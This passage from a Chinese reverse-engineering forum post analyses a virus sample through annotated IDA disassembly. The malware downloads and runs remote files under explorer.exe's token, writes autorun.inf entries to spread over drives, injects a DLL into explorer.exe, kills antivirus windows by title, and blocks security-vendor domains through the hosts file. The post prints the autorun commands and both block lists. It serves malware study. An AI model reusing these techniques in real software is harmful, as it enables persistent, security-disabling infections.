.text:71003893 lea eax, [ebp+74h+Buffer]
.text:71003899 push eax
.text:7100389A lea eax, [ebp+74h+var_514]
.text:710038A0 push eax
.text:710038A1 push ebx
.text:710038A2 call [ebp+74h+Addr_URLDownloadToFile] ; 调用URLDownloadToFile 下载文件到txt中
线程5:
由于网址都已无效,所以也不知道下载的什么故只简要一下过程
行为分析:下载文件到系统临时目录,然后创建文件映射,把其映射到进程的地址空间中,然后在创建线程,
可以认为是线程6,下载文件到系统临时目录,提升进程权限,然后枚举当前进程,找到explorer.exe的进程ID,之后得到explorer.exe的访问令牌环,然后使用这个Token作参数,调用CreateProcessAsUser,创建进程并运行刚才下载的文件.
相关代码:
ext:710015DB push ebp
.text:710015DC mov ebp, esp
.text:710015DE sub esp, 58h
.text:710015E1 push ebx
.text:710015E2 push esi
.text:710015E3 push edi
.text:710015E4 push offset aSedebugprivile ; "SeDebugPrivilege"
.text:710015E9 call Raise_Priv_0
.text:710015EE mov [esp+68h+var_68], offset aExplorer_exe ; "explorer.exe"
.text:710015F5 call IS_Explorer ; 当前进程中是否有explorer.exe
…..省略
.text:71001604 call ds:OpenProcess
.text:7100160A lea ecx, [ebp+hObject]
.text:7100160D push ecx ; TokenHandle
.text:7100160E push 0Bh ; DesiredAccess
.text:71001610 push eax ; ProcessHandle
.text:71001611 call ds:OpenProcessToken
…….省略
.text:7100162A call ds:GetStartupInfoA
…….省略
.text:71001660 jnz short loc_7100166A ; 如果OpenProcessToken调用成功
.text:71001662 call ds:CreateProcessA
.text:71001668 jmp short loc_71001673
.text:7100166A ; ---------------------------------------------------------------------------
.text:7100166A
.text:7100166A loc_7100166A: ; CODE XREF: Create_Explorer_exe+85 j
.text:7100166A push [ebp+hObject] ; hToken
.text:7100166D call ds:CreateProcessAsUserA ; 以explorer.exe的访问控制权限创建一个进程,运行刚才下载的文件
线程7:
行为分析:
首先得到系统有效的磁盘驱动器盘符,然后排除盘符A ,B.然后循环判断磁盘类型是否为固定硬盘和可移动硬盘(如U盘),如果是的话,就在相应文件下创建隐藏属性的autorun.inf文件并写入如下命令:
[autorun]
shell\open\command=rundll32 system.dll,explore
shell\explore\command=rundll32 system.dll,explore
即自动让资源管理器打开rundll32.exe并加载system.dll.(system.dll即为下面的病毒母体释放的DLL的一个副本)
然后得到病毒DLL的路径(调用GetModuleFileName传入事先保存的DLL模块句柄所以此时得到的是DLL路径而非EXE路径),并复制到符合上面要求的磁盘目录下并命名为system.dll.这样就完成了简单的自动加载病毒DLL功能.
相关代码(省略无关代码):
.text:71003B7C mov ebp, offset aExplore_0 ; "explore"
.text:71003B81 mov esi, offset aSystem_dll ; "system.dll"
.text:71003B86
.text:71003B86 loc_71003B86: ; CODE XREF: Achieve_Autorun+1CA j
.text:71003B86 lea eax, [esp+734h+Buffer]
.text:71003B8D push eax ; lpBuffer
.text:71003B8E push 104h ; nBufferLength
.text:71003B93 call ds:GetLogicalDriveStringsA; 获得当前有效的驱动器
……省略
.text:71003BC8 ; ---------------------------------------------------------------------------
.text:71003BC8
.text:71003BC8 loc_71003BC8: ; CODE XREF: Achieve_Autorun+1B9 j
.text:71003BC8 mov edi, [esp+734h+lpString2]
.text:71003BCC
.text:71003BCC loc_71003BCC: ; CODE XREF: Achieve_Autorun+54 j
.text:71003BCC push edi ; lpRootPathName
.text:71003BCD call ds:GetDriveTypeA ; 排除盘符A B
.text:71003BD3 mov ebx, ds:lstrcmpiA
.text:71003BD9 push offset aA ; "A:\\"
.text:71003BDE push edi ; lpString1
.text:71003BDF mov [esp+73Ch+var_71C], eax
.text:71003BE3 call ebx ; lstrcmpiA
.text:71003BE5 test eax, eax
.text:71003BE7 jz loc_71003D15
.text:71003BED push offset aB ; "B:\\"
.text:71003BF2 push edi ; lpString1
.text:71003BF3 call ebx ; lstrcmpiA
.text:71003BF5 test eax, eax
.text:71003BF7 jz loc_71003D15
.text:71003BFD mov eax, [esp+734h+var_71C]
.text:71003C01 cmp eax, dword_7100711C ; 是否为可移动盘符
.text:71003C07 jz short loc_71003C15 ; 如果是可移动磁盘就在磁盘里创建inf文件
.text:71003C09 cmp eax, dword_71007120 ; 不可移动的硬盘驱动器(如C盘)也在里面粗昂见inf文件
.text:71003C0F jnz loc_71003D15
.text:71003C15
.text:71003C15 loc_71003C15: ; CODE XREF: Achieve_Autorun+95 j
.text:71003C15 push offset aAutorun ; 即如果为硬盘或者可移动磁盘如U盘之类的,就在其盘符目录下创建inf文件和system.dll文件
.text:71003C1A push edi
.text:71003C1B lea eax, [esp+73Ch+FileName]
.text:71003C1F push offset aSS_inf ; 拼接inf文件路径如C:\autorun.inf
.text:71003C24 push eax ; LPSTR
.text:71003C25 call ds:wsprintfA
.text:71003C2B add esp, 10h
.text:71003C2E push 6 ; dwFileAttributes
.text:71003C30 lea eax, [esp+738h+FileName]
.text:71003C34 push eax ; lpFileName
.text:71003C35 call ds:SetFileAttributesA;设置inf文件属性
.text:71003C3B lea eax, [esp+734h+FileName]
.text:71003C3F push eax ; lpPathName
.text:71003C40 call ds:RemoveDirectoryA; 移除原有的本文件
.text:71003C46 push 0 ; hTemplateFile
.text:71003C48 push 6 ; dwFlagsAndAttributes
.text:71003C4A push 4 ; dwCreationDisposition
.text:71003C4C push 0 ; lpSecurityAttributes
.text:71003C4E push 7 ; dwShareMode
.text:71003C50 push 0C0000000h ; dwDesiredAccess
.text:71003C55 lea eax, [esp+74Ch+FileName]
.text:71003C59 push eax ; lpFileName
.text:71003C5A call ds:CreateFileA ; 创建inf文件
…..省略
.text:71003C9C push offset aSSOpenSSSSSSSS ; "[%s]\r\n%s\\open\\%s %s,%s\r\n%s\\%s\\%s %s,%s"
.text:71003CA1 push eax ; LPSTR
.text:71003CA2 call ds:wsprintfA
.text:71003CA8 add esp, 30h
.text:71003CAB lea eax, [esp+734h+String]
.text:71003CB2 push eax ; lpString
.text:71003CB3 call ds:lstrlenA
.text:71003CB9 push 0 ; lpOverlapped
.text:71003CBB lea ecx, [esp+738h+NumberOfBytesWritten]
.text:71003CBF push ecx ; lpNumberOfBytesWritten
.text:71003CC0 inc eax
.text:71003CC1 push eax ; nNumberOfBytesToWrite
.text:71003CC2 lea eax, [esp+740h+String]
.text:71003CC9 push eax ; lpBuffer
.text:71003CCA push ebx ; hFile
.text:71003CCB call ds:WriteFile ; 向inf文件写入命令
…..省略
.text:71003D0E push eax ; lpFileName
.text:71003D0F call CopyVirusDllToSystem_dll ; 把此DLL复制为新文件,名字为system.dll
….省略
CopyVirusDllToSystem_dll函数 比较简单,可以看idb文件很详细.
线程8:
行为分析:
首先获得系统目录,然后从资源中释放appwinproc.dll到系统目录中去,然后枚举进程,得到当前explorer.exe进程的信息,打开进程获得句柄,并使用远程线程的方式(CreateRemoteThread / Loadlibrary)让explorer.exe加载appwinproc.dll,在虚拟机中,将时间改为2008年12月30日之前的任何一个时间,然后运行程序,在系统目录中找到appwinproc.dll,然后载入IDA分析,可知,该DLL完成的功能是:
首先用一全局变量做标志,防止多次同时加载这一DLL,然后创建线程可以算做线程9:
线程功能是设置全局windows钩子,让所有有窗口的程序都会加载appwinproc.dll,监控所有线程的GetMessage和PostMessage.
钩子函数的功能:首先得到消息源头的根窗口句柄,然后获得窗口标题,判断窗口标题是否和黑名单一致,如果一直,则调用TerminateProcess传递-1作为当前进程的伪句柄,来结束符合进程.因为钩子函数就在符合黑名单的进程当中,所以可以使用伪句柄来作为进程句柄.我们经常使用的GetCurrentProcess就是返回-1,作为当前进程的伪句柄,只能在当前进程中使用.
窗口标题黑名单:
"sreng""Sreng""SRENG""木马""江民""杀毒""专杀""360安全卫士""下载者""NOD32""卡巴斯基""金山毒霸""瑞星""McAfee""超级巡警""奇虎""瑞星卡卡"
相关代码(只给出框架,其他的看idb):
.text:710039F4 push 104h ; uSize
.text:710039F9 lea eax, [ebp+Buffer]
.text:710039FF push eax ; lpBuffer
.text:71003A00 call ds:GetSystemDirectoryA
.text:71003A06 push offset aAppwinproc_dll ; "\\appwinproc.dll"
.text:71003A0B lea eax, [ebp+Buffer]
.text:71003A11 push eax ; lpString1
.text:71003A12 call ds:lstrcatA
.text:71003A18 lea eax, [ebp+Buffer]
.text:71003A1E push eax ; lpFileName
.text:71003A1F push 68h ; nNumberOfBytesToWrite
.text:71003A21 push offset Type ; "RES"
.text:71003A26 push hModule ; hModule
.text:71003A2C call RES_TO_SYS ; 释放 appwinproc.dll
……
.text:71003A34 push offset aExplorer_exe ; "explorer.exe"
.text:71003A39 call IS_Explorer ; 枚举进程找到explorer.exe进程
.text:71003A3E mov esi, eax
.text:71003A40 mov [esp+110h+var_110], 2710h
.text:71003A47 call ds:Sleep
.text:71003A4D test esi, esi
.text:71003A4F jz short loc_71003A34
.text:71003A51 push esi ; dwProcessId
.text:71003A52 push 0 ; bInheritHandle
.text:71003A54 push 10043Ah ; dwDesiredAccess
.text:71003A59 call ds:OpenProcess
.text:71003A5F mov esi, eax
.text:71003A61 test esi, esi
.text:71003A63 jz loc_710039DD
.text:71003A69 lea eax, [ebp+Buffer]
.text:71003A6F push eax ; lpBuffer 刚刚释放的DLL名
.text:71003A70 push esi ; hProcess
.text:71003A71 call MakeSvchost_Load_DLL ; 此处命名是根据前几个线程,所以此处的功能是让explorer.exe加载刚刚释放的DLL
Appwinproc.dll的相关代码:
nop
.text:10001111 push 0 ; dwThreadId
.text:10001113 push hmod ; hmod
.text:10001119 push offset fn ; lpfn
.text:1000111E push 3 ; idHook------WH_GETMESSAGE监控GetMessage和PostMessge消息
.text:10001120 call ds:SetWindowsHookExA ; 设置全局钩子
.text:10001126 mov ds:hhk, eax
…省略
钩子过程函数:
.text:100010C3 call ds:GetAncestor ; 得到消息发送者或者接受者目标窗口根句柄
.text:100010C9 push 200h ; nMaxCount
.text:100010CE lea ecx, [ebp+String]
.text:100010D4 push ecx ; lpString
.text:100010D5 push eax ; hWnd
.text:100010D6 call ds:GetWindowTextA ; 获得窗口标题
.text:100010DC lea eax, [ebp+String]
.text:100010E2 push eax
.text:100010E3 call IS_TO_KILL ; 判断标题是否与黑名单相同,如果相同返回非0值
.text:100010E8 test eax, eax
.text:100010EA pop ecx
.text:100010EB pop edi
.text:100010EC jz short loc_100010F8
.text:100010EE push 0 ; uExitCode
.text:100010F0 push -1 ; hProcess 表示当前进程的伪句柄
.text:100010F2 call ds:TerminateProcess ; 符合则调用TerminateProcess结束掉
线程10:
行为分析:
首先获得系统目录,然后在其目下的\drivers\etc创建或打开hosts文件,修改其属性可读可写,
然后移动文件指针到文件头,使用host域名劫持手段,来屏蔽相关安全网站的域名.即向该文件中写入: 127.0.0.1 要屏蔽的安全网址 ,即当我们访问这些网址时,浏览器会解析成127.0.0.1所以这样就不能访问这些网址.
劫持的域名黑名单:
"www.360.cn""www.360safe.cn""www.360safe.com""www.chinakv.com""www.rising.com.cn"
"rising.com.cn""dl.jiangmin.com""jiangmin.com""www.jiangmin.com""www.duba.net"
"www.eset.com.cn""www.nod32.com""shadu.duba.net""union.kingsoft.com""www.kaspersky.com.cn""kaspersky.com.cn""virustotal.com""www.kaspersky.com""www.cnnod32.cn""www.lanniao.org"
"www.nod32club.com""www.dswlab.com""bbs.sucop.com""www.virustotal.com""tool.ikaka.com"
"360.qihoo.com"
主要代码:
.text:71003D71 call ds:GetSystemDirectoryA
.text:71003D77 push offset aDriversEtcHost ; "\\drivers\\etc\\hosts"
.text:71003D7C lea eax, [ebp+FileName]
.text:71003D82 push eax ; lpString1
.text:71003D83 call ds:lstrcatA ; 拼接host文件路径如:C:\WINDOWS\system32\drivers\etc\hosts
.text:71003D89 mov esi, 80h
.text:71003D8E push esi ; dwFileAttributes
.text:71003D8F lea eax, [ebp+FileName]
.text:71003D95 push eax ; lpFileName
.text:71003D96 call ds:SetFileAttributesA ; 设置可读可写
.text:71003D9C push ebx ; hTemplateFile
.text:71003D9D push esi ; dwFlagsAndAttributes
.text:71003D9E push 4 ; dwCreationDisposition--------OPEN_ALWAYS
.text:71003DA0 push ebx ; lpSecurityAttributes
.text:71003DA1 push 1 ; dwShareMode
.text:71003DA3 push 40000000h ; dwDesiredAccess
.text:71003DA8 lea eax, [ebp+FileName]
.text:71003DAE push eax ; lpFileName
.text:71003DAF call ds:CreateFileA ; 打开或者创建该host文件
….省略
.text:71003DCA mov esi, offset off_71007540 ; 劫持的网址字符串数组
.text:71003DCF
.text:71003DCF loc_71003DCF: ; CODE XREF: Create_Host+CC j
.text:71003DCF push eax
.text:71003DD0 lea eax, [ebp+String]
.text:71003DD6 push offset a127_0_0_1S ; "127.0.0.1 %s\r\n"
.text:71003DDB push eax ; LPSTR
.text:71003DDC call ds:wsprintfA ; 拼接字符串 如:127.0.0.1 安全网址
….省略
.text:71003E00 call ds:WriteFile ; 写入文件
.text:71003E06 add esi, 4
.text:71003E09 mov eax, [esi]
.text:71003E0B cmp eax, ebx
.text:71003E0D jnz short loc_71003DCF
线程11:
行为分析:
首先映射病毒母体释放的DLL到svchost.exe进程空间中,为后面修改系统DLL做准备.
然后在系统目录下生产5个驱动并以服务方式加载到内核并执行,这5个驱动分别是Nspass0.sys, Nspass1.sys, Nspass2.sys, Nspass3.sys, Nspass4.sys.
能力有限只是简单对这5个驱动用IDA F5看了下,其中NsPass0.sys使用病毒母体的DLL在进程中的映像,来修改系统目录下的schedsvc.dll,
NsPass1.sys使用它修改系统目录下的appmgmts.dll, NsPass2.sys使用它修改系统目录下的srsvc.dll, NsPass3.sys 使用它修改系统目录下的w32time.dll,NsPass4.sys使用它修改系统目录下的wiaservc.dll 具体怎么用病毒DLL修改这几个系统DLL,可以自己逆下,这几个驱动,我只是F5看了下,毕竟精力有限,能力也有限.^_^
相关代码:
.text:710025AD push eax
.text:710025AE lea eax, [ebp+var_8]
.text:710025B1 push eax
.text:710025B2 call MAP_DLL ; 映射病毒母体释放的DLL到svchost.exe的进程地址空间中
.text:710025B7 and [ebp+String2], 0
.text:710025BF pop ecx ; 平衡堆栈
.text:710025C0 pop ecx
.text:710025C1 mov [ebp+lpInBuffer], eax ; 此处有点危险,返回的是局部指针变量并使用
….略
.text:710025EA call ds:GetModuleFileNameW ; 得到病毒母体DLL路径
.text:710025F0 and [ebp+String1], 0
.text:710025F8 xor eax, eax
.text:710025FA mov ecx, esi
.text:710025FC lea edi, [ebp+var_20E]
.text:71002602 rep stosd
.text:71002604 stosw
.text:71002606 xor edi, edi
.text:71002608 cmp off_71007524, edi ; 比较字符串数组指针是否为NULL
.text:7100260E jz short loc_71002664
.text:71002610 mov eax, offset off_71007524 ; 字符串数组首地址,5个DLL的名字
.text:71002615 mov esi, eax
.text:71002617
.text:71002617 loc_71002617: ; CODE XREF: RES_TO_SYS_LOAD+C4 j
.text:71002617 push ebx ; for循环
.text:71002618 lea ecx, [ebp+String1]
.text:7100261E push ecx ; lpString1
.text:7100261F push dword ptr [eax] ; lpString2-----字符串数组中预先保存的5个DLL名
.text:71002621 call STRCAT_FILEPATH ; 拼接DLL文件路径
.text:71002626 add esp, 0Ch
.text:71002629 lea eax, [ebp+String2]
.text:7100262F push eax ; lpString2
.text:71002630 lea eax, [ebp+String1]
.text:71002636 push eax ; lpString1
.text:71002637 call ds:lstrcmpiW
.text:7100263D test eax, eax
.text:7100263F jz short loc_71002659 ; 地址加4也就寻址下一个字符串即5个DLL的名字
.text:71002641 push 0A400h ; nInBufferSize
.text:71002646 push [ebp+lpInBuffer] ; lpInBuffer DLL路径
.text:71002649 lea eax, [ebp+String1]
.text:7100264F push edi ; int 0-4
.text:71002650 push eax ; lpString2
.text:71002651 call Release_PassSys_LoadIt ; 释放NsPass0.sys到NsPass4.sys这5个驱动文件并加载到内核,通信并修改数组中保存的那5个系统DLL
.text:71002656 add esp, 10h
.text:71002659
.text:71002659 loc_71002659: ; CODE XREF: RES_TO_SYS_LOAD+A1 j
.text:71002659 add esi, 4 ; 地址加4也就寻址下一个字符串即5个DLL的名字
.text:7100265C inc edi ; 从0开始自加,是个for循环,所以edi的从0到4的取值
.text:7100265D cmp dword ptr [esi], 0
.text:71002660 mov eax, esi
.text:71002662 jnz short loc_71002617
线程12:
行为分析:
首先Sleep一段时间,然后又创建2个线程,,这两个线程完成的功能和线程5与线程4一样,故不做分析,在idb中有详细注释.
上传idb文件,里面注释很详细,基本上把所有函数都逆了.
- 标 题:对一病毒样本的详细分析
- 作 者:evilkis
- 时 间:2011-06-05 21:02:04
- 链 接:http://bbs.pediy.com/showthread.php?t=134971